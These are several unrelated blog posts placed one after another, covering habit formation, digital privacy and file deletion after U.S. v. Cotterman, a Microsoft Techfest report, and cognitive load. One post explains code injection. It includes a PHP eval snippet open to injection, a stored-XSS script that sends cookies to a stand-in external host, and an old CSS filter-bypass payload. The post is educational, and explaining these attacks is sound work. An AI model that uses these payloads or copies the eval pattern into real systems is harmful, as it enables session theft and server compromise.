I like my shopping routine at the grocery store around the corner, where my cart seems to easily navigate itself through the isles. Once in a while I make adventurous purchases (the Halloween-edition beer with pumpkin aroma still awaits in my fridge), but I usually stick to the products that have already made me happy before. Whenever in a new town, I try to shop at the same chain, where I know the products and their location on the shelves.

One morning, the parking lot of the usual store was packed. I decided to explore and went to the supermarket across the street for the first time.  My experience at the new place was mildly traumatizing: confronted by all sorts of new packages calling from the shelves, I felt helpless. How should I know what I would like?

In my first blog post I wrote about our mind’s limited computational capacity. When we shop, examining all of the products, predicting how much we will enjoy them and whether the price is reasonable (compared with the alternative) is very costly in terms of cognitive effort. Luckily, our brains have figured out a shortcut that saves a lot of time and mental effort, making it easy to navigate through the local convenient store and fill ours cart with the usual products.

Faced with a novel situation, we usually don’t know what to do. Sooner or later, after a short exploration period of trial and error, we learn what works for us. Animals are not much different: in 1898 American psychologist Edward L Thorndike invented the “puzzle boxes” – cages that the animal (say, a cat) could exit (and get a food reward) only by using a specific response (like pulling a lever, for example). Thorndike found that the time it took the animals to escape and get their food reward decreased with their experience.

This is not a news for anyone who ever had a pet: animals quickly figure out what action would get them the reward. The process of associating a state of the world with an action and its outcome in the anima’s brain, called “instrumental conditioning”, can be used to teach animals, like raccoons, to perform complicated tasks, like playing basketball.

Do animal learn to associate the sensory stimulus and their responsive actions with the reward, or maybe they are just reinforced to perform the action, regardless of the reward value? To answer this question, Dickinson and colleagues (1995) trained mice to push a lever in order to get food. After 120 successful trials, the mice were fed to satiety. Lacking the motivation to get food, the mice stopped pressing the lever, providing evidence that they had learnt the consequence of their actions, and weren’t just blindly responding to the lever in their cage.

Dickinson repeated his experiment with a new group of mice, but this time he extended the training period to 360 (rather than 120) trials. The effect of over-training on the mice behavior was dramatic: even after they were fed to satiety and no longer wanted the food, they kept pressing the lever. The mice picked up a lever-pressing habit.

Although we all have natural, automatic responses to events in our environment (like the urge to step out of the elevator even though it had stopped in the wrong floor), us, humans, have a sense of control. We believe in our ability to suppress habitual tendencies more easily than other animals. In 2009, Elizabeth Tricomi and colleagues recruited Rutgers college students, making sure that none of the subjects were dieting. Participants fasted for six hours, and then performed a simple task: in each trial, they were instructed to push one of four buttons in order to get a food reward. In some trials, the reward was an M&M; in others it was corn chips (the researcher verified that all of the subjects liked both foods).

Like in Dickinson’s mice studies, subjects were divided into two groups: the first performed the task only for a single day, in two 8-minute training sessions, where the second performed four sessions each day for 3 days – six times as much training. Now came the fun part: after the last training session, participants were given one of the food types, and were instructed to eat until it was no longer pleasant to them. With one of the food “devalued”, subjects went back to perform the task for three more minutes. What do you think happened? When the rewarded food was no longer desirable, the first group stopped pushing buttons, as expected. Surprisingly (or not) the over-trained subjects became habitual, and kept pressing buttons even when the food reward had become unpleasant.

Habit formation imposes a trade-off. Most of the time, the shortcut works well: we easily navigate our cars and carts in familiar avenues without having to pay too much attention. Faced with a new situation, however, we are prone to make mistakes, or even worse – pick up unhealthy habits. Obesity, alcoholism and other addictions are often a result of a long reinforcement history (of alcohol, drugs or fried-chicken) that ended up turning into out of control habits.

Accepting the habitual system as an inseparable part of our minds, understanding its limitation and the way it works, may help us to achieve our long-term goals. Forcing ourselves to start working out and eat healthy is effortful, but the investment will pay off. After a period of reinforcement (by endorphin rush, feeling lighter and getting compliments), our brains will pick up the habit. Going to the gym or having kale salad may become effortless or even enjoyable.

So, in my first post about the recent Ninth Circuit opinion U.S. v. Cotterman, I introduced the opinion’s idea of a “forensic computer search” and asked some questions about what that category might include, and whether it’s a coherent bar for a heightened level of Fourth Amendment privacy protection at the United States border.

This post is more of the “what have we learned?” side of the discussion. I think that the privacy problems identified in the opinion reveal one underlying idea:

User Agency Is A Privacy Issue.

When we use our personal digital devices (I’ll use laptops as a default example in this post), the devices automatically collect and store data to maintain a detailed record of what we were doing. Digital information’s unique qualities  - fungibility, persistence, ease of storage, recoverability, reproducibility – make these behavioral records accordingly unique in the same ways.

These qualities give rise to special privacy concerns. They create a persistent, indefinitely stored cache of behavioral data (which frequently includes information that our laws already categorize as private, like correspondence and medical history) that can be effortlessly copied and/or analyzed at an unprecedented level of detail in the blink of an eye.

Of course, the special qualities of digitally stored information exist whether or not the information in question is something we feel deserves to be protected from governmental intrusion. Privacy concerns are raised when personal information that we ordinarily think of as private or sensitive is stored in the digital format, because that form of storage enables digital search and analysis. Digital search and analysis is faster and easier than searches of tangible media, and has the added bonus of being increasingly revealing of sensitive personal information – information that might fall within the ambit of our ideas about privacy.

User agency is the ability of the device user to control what the device does. In most devices, user agency is quite limited, especially when it comes to the automated collection and storage of user-generated information. (I don’t mean only information input by the user, but all the information resulting from user activity.) I’ll use an example from Cotterman to illustrate what I mean.

The opinion says that a forensic search is invasive in part because it allows the forensic technician to access information that the user can’t access herself, and goes on to say that the retention of information “beyond the perceived point of erasure” is a privacy issue.

“Perceived erasure” is a great example of how conventions in software and computer design deny user agency.  “Deletion” marks the perceived point of erasure for many computer users.

Of course, deleting a file does not “erase” it from the computer’s hard drive. But there are reasons that most people perceive “deleting” a file to be the same as “erasing” it. Here’s what the Mirriam-Webster online dictionary tells me “delete” means:

“to eliminate, especially by blotting out, cutting out, or erasing”

A button labeled “Delete” tells users that pressing it will eliminate or erase data. The people who design computers and computer software know better than most that this just isn’t true. The language we use to describe how computers work is misleading. That’s a user agency issue because a user who wants to erase information isn’t directly, immediately, and explicitly given the ability to accomplish that goal. Instead, she’s offered a function that looks like it will erase information, and she’s given no indication of what initiating that function actually does. She’s given a visualization of the file disappearing from view, or sliding into a trash can that she can then “empty.”

Why not design a user experience that’s less misleading? Shouldn’t some of the burden of understanding rest with the creators of these programs?

One response to this is to say that the burden rests with users. Users should familiarize themselves more with the way their computers actually function, rather than simply relying on the labels that come with their operating systems and user-facing software applications.  I took what I think was a reasonable first step to achieving this goal and looked for information online. Here’s what I found when I searched Wikipedia for information about how data gets erased (or not):

“Many operating systems, file managers, and other software provide a facility where a file is not immediately deleted when the user requests that action. Instead, the file is moved to a holding area, to allow the user to easily revert a mistake. Similarly, many software products automatically create backup copies of files that are being edited, to allow the user to restore the original version, or to recover from a possible crash (autosave feature). Even when an explicit deleted file retention facility is not provided or when the user does not use it, operating systems do not actually remove the contents of a file when it is deleted unless they are aware that explicit erasure commands are required, like on a solid-state drive. … Likewise, reformatting, repartitioning, or reimaging a system is not always guaranteed to write to every area of the disk, though all will cause the disk to appear empty or, in the case of reimaging, empty except for the files present in the image, to most software.”

Well, I made a good faith effort to familiarize myself with how my computer actually works, default software interfaces notwithstanding. Where did it get me? Nowhere. I’m more aware of the limits on my user agency, but I’m no more able to erase data than I was before. In fact, I’m starting to think that it’s not really possible to erase data from my computer. And that brings me back to the same question: why does it have a “delete” button at all?

I think the most likely explanation is simple: the button says “delete” because the first systems used the word, people got used to it, and nobody wants to introduce confusion by changing the vocabulary around. It’s a skeuomorph – a design that makes a thing resemble another material or technique. Designers talk about perceived affordances, about using comfortably familiar shorthand to indicate to users what something can or can’t do. The problem is that all too often, designs present perceived affordances that are misleading.

Designing For User Agency Will Improve Our Privacy Rights

I think that designers and computing engineers should bear some of the burden in the digital privacy debate, because otherwise their valuable perspective will be lost. It is inconceivable to me that the systems we currently use represent the absolute apex of usability and transparency. Designers and engineers deserve more credit than that. Increased transparency doesn’t necessarily mean unwieldy user experience, or forcing everyone to use command-line interfaces for everything. Small changes could yield meaningful results: changing defaults so that users can access a visual representation of where everything is, including files that we would otherwise call “deleted.” Changing the word “delete” to something else – “rewrite” or “scramble,” maybe. (I don’t know, I’m not a designer or an engineer; these are just two words that seem more descriptive to me of what computer systems actually do when I tell them to delete.)

Designing systems for transparency and user agency will benefit the privacy debate on two levels. Individuals will have more freedom to manipulate the information retained by their devices, and the introduction of a new vocabulary of personal computing will move us closer as a culture to a coherent understanding of what our computers can and can’t actually do.

Do you remember the computer interface of the future from Minority Report? (Here is a trailer if you haven’t seen it). It seems like we might not be too far from this becoming a reality. Last week, I watched a researcher search a map, play a platformer, and completely control a computer with his hands instead of a mouse. This was one of twenty cool exhibits at Techfest, an event where Microsoft Research demos some of their projects for the public (the event is also called “the & in R&D,” as its purpose is to facilitate the transition from pure research to development). Many of the demos were quite exciting, so I just wanted to share my thoughts about a small subset of the cool things I saw.

The day began with a keynote address by Microsoft’s Chief Research Officer, Rick Rashid, who talked about the history and motivation behind Techfest. He finished with a video of new MSR speech recognition software being used during a talk he gave in China. During the first part of his talk, he was speaking in English while the software generated real time subtitles of his words (English speech to English text) at a significantly lower error rate than the previous gold standard. The software then translated the English text to Chinese text for the audience (I think computers have been pretty good at this part for a while now). But at the end, the program went one step further and had the computer speak Chinese back to the audience in Rick Rashid’s own voice. So at the end of the day, this program could allow you to speak out loud to an audience in a language you don’t understand, in your own voice. If you’re interested, you can see for yourself in the keynote address. The demo starts at ~48:30.

During the keynote address, Rashid also invited researcher Bongshin Lee onstage to give a demo of a new application called SketchInsight, which is a presentation tool for a large touchscreen display. The demo was a short mock talk on energy consumption in which Lee was able to create charts and edit displays with ease to tell a story. It’s hard to do justice to how smoothly the presentation flowed, but you can check it out ~42:00 minutes into the keynote address. What really struck me was that it seems like such a convenient way to give presentations: you still have the same freedom as drawing on a whiteboard, but can also incorporate computer-generated graphs and diagrams on the fly.

Afterwards the audience was turned loose to explore the exhibits on the demo floor. They included new technology for automatically generating test questions, using one’s hands in a computer interface instead of a mouse (as mentioned earlier), and about twenty others. A particularly appealing new app was one that removed the shakiness from a video while filming. As an example, the app took as input a video taken on a highway overpass scanning passing traffic from left to right. The raw video was extremely shaky and watching it made me feel stressed and nauseous. After running through their app, the video looked like it was shot from a tripod by an experienced user changing the angles. What I found most impressive was that the app somehow was able to accurately distinguish between intended movement (scanning left to right) and accidental movement (random shaking), preserving what the camera was trying to capture, but removing everything else.

The day concluded with a talk by principal researcher Bill Buxton on the future of computers and what constitutes great progress. If you had asked me before this talk when touch screen technology was first developed, I probably would have guessed sometime within the last 5 years. I might have believed you if you told me that we’d had this technology after 2000. Maybe. But I would have been way off – Buxton showed us a touch screen watch (with a built-in calculator!) that was released in 1984, four years before I was even born. That’s crazy. So what took us so long to use touch screens on our phones and tablets? The point of the talk was that sometimes great products – ones we can’t seem to live without today – are born when good pre-existing ideas come together the right way. I mean, who in 1984 needed a touch screen on their watch? Without the Internet, or fancy games, or mobile apps, we wouldn’t need touch screens on our phones either, and touch screen technology might never have become so essential. I think the idea of the talk was that the next big thing is always going to be a clever combination of tools we already have, rather than something revolutionary that we’ve never seen before.

In a previous blog post I discussed about a critical class of web attacks known as code injection attacks. In particular, I presented a subset of such attacks where target entities exist on the server. Here we will talk about the emerging subset of dynamic code injection attacks, which, except for server-side entities, threaten network-oriented applications hosted in a client machine, such as the browser and messaging applications.

Python, Perl and PHP are languages that have the capability of interpreting themselves and execute code through a method called eval. Specifically, eval is a function which evaluates a string as though it were an expression and returns a result; A simple example of a dynamic language-driven attack is an input string that is fed into an eval() function call, e.g., in PHP:

$variable = $_GET[’var’];
$input = $_GET[’value’];
eval(’$variable = ’ . $input . ’;’);

Keep in mind that in PHP, the predefined $_GET variable is used to collect values in an HTML form with method="get". In this case, the user may pass into the value parameter, code that will execute in the server. If value is 10; system (’’touch foo’’); then a file will be created on the server; it is easy to imagine more detrimental instances.

Now let’s see how such attacks can affect the client’s side. From man in the browser (MitB) attacks to cross-site request forgery (CSRF) attacks, the client’s side suffers from a wide range of security issues. The majority of such attacks involve one basic vector: JavaScript. Attackers are motivated by the fact that JavaScript is executed as a browser component and enables access to critical objects within the browser. By taking advantage of unchecked assumptions web pages make about their inputs and by bypassing the security mechanisms integrated within the browser, malicious users can inject their JavaScript code into the users’ browser. As a result, they can access sensitive user data or manipulate HTTP methods to their own end.

A JavaScript injection vulnerability is manifested when a web application accepts and redisplays data of uncertain origin. Many web sites allow registered users to post data, which are stored on the server-side (i.e. a third-party comment on a blog page). If attackers hide a script in such data, they could manipulate the browser of another users. For example consider the following code snippet:

<script type="text/javascript">
document.location=’http://host.example/cgi-
bin/cookiestealing.cgi?’+document.cookie

If a malicious user could post data containing the above script, web users reading this data could have their cookies stolen. Through this script the attacker calls an external CGI (common gateway interface) script and passes all the cookies associated with the current document to it as an argument via the document.cookie property. A common but rough way to stop malicious behaviors like this is server-side code filtering (i.e. the server strips out the word “javascript” from any external source). Still, there are many ways to bypass such defense mechanisms. For example, one could take advantage of issues in the implementation of CSS (cascading style sheets) rendering engines of browsers like Internet Explorer (versions prior to 7). Consider the case where an attacker manages to hide the following code fragment in the CSS of a web page:

<div id=code style="background:url('java
script:eval(document.all.code.expr)')"
expr="alert('xss')"></div>

The attacker utilizes the eval function and a newline character (“java\nscript”) to bypass the security checks measures and manoeuvre the user’s browser to execute the code contained in the expr variable. This is done by using the document.all array that contains all of the elements within a document. Malicious users can also use eval to assemble innocuous-looking parts into harmful strings that the protecting mechanisms of a web page would normally consider dangerous and remove.

JavaScript injection attacks are considered as a critical issue in web application security mainly because they are associated with major vulnerabilities such as: Cross-Site Scripting (XSS) attacks and Cross-Channel Scripting (XCS) attacks. For mitigating such vulnerabilities you can check this wonderful survey.

Many thoughts are running through my head as I aggressively strike the ‘holy trinity’ of strokes, ‘Control-alt-delete’. This is the nightmare of every ‘heavy’ software user: hours of work are about to go down the drain. I wish I hadn’t watched the YouTube that wasted precious computation power. I wish I had a faster processor, or at least a few more Gigabytes of working memory.

As engineers, we are constantly concerned with increasing the efficiency in which our products use limited resources. But as we try to save power and time by reducing computational and memory complexity, most of us are unaware of the limited resources of our brain – the CPU that lies within our skulls.

Last week I went road tripping with a friend to San Francisco. Driving on the highway, I could easily engage in conversation, listen to music and eat – all at the same time. Going off the highway made things more complex. I found it impossible to keep the conversation while trying to find my way through the allies of Mission district. The brain has a limited budget of mental effort, and by multi-tasking I risked getting to the ‘control-alt-delete’ state of my mind.

When we buy a new computer, its hardware capabilities are stated on the box or in the manual. Using sophisticated experiments, cognitive psychologists are trying to reverse-engineer the hardware limitations of our brains, and understand what might be the consequences of over-loading it. In terms of working memory, the magical number of objects that the average human being can store is thought to be seven, plus or minus two.  Psychologists ‘load’ the brains of subjects by incentivizing them (with real money) to memorize a varying number of digits; the consequences of this mental burden on our working memory are quite surprising. In a famous 1999 experiment, a group of Stanford researchers asked college undergrads to memorize a few digits, and then walk over to the room across the hall to recall them. On the way, they encountered a food cart, where they could choose between a chocolate cake and a healthier alternative – a fruit salad. Subjects that were asked to memorize seven digits were ~50% more likely to choose the unhealthy (but tasty) cake than subjects who were asked to memorize only two digits. Similar experiments in other domains, demonstrated that when the human CPU is loaded, people tend to ‘lose control’ by making selfish choices, spending money on impulsive purchases and using sexist language.

Cognitive load ahead

CPU power requires energy, and so is the case for our mind, whose preferred fuel is the sugar glucose. Just like after physical efforts (such as moving an apartment), following extensive mental exertions (for example a long exam) we find ourselves desperately looking for sugar in order to refill our mental batteries. This is a dangerous combination for dieters, whose self-control capabilities are anyways degraded because of the mental effort. Psychologists know the process of losing self-control as a result of decreasing brain-CPU power as ‘ego depletion’.

A group of Israeli researchers examined how ego depletion might affect fatal judgments requiring extreme mental effort – decisions of prison parole boards. Turns out that the odds that a prisoner will be successfully paroled dramatically drops from almost 65% at the start of the day (after breakfast) to almost none when the board members’ sugar level plummets, before lunch. Upon returning from their break, with their mental batteries loaded, the odds that the judges will turn around their default ‘NO’ abruptly rise to 65%, and then decline again. Prisoner’s fate is dramatically influenced by the random time for which his hearing was scheduled.

How can we avoid the loss of self-control and our degrading judgment capabilities? Obviously, extending our working memory or adding another CPU core is not an option for our minds. Perhaps making sure that we eat well, sleep enough and take a short break to keep our stress levels low is a start. Understanding the limitation of our brains might help us in forgiving our friends and ourselves, for the occasional bad decisions we all make sometimes.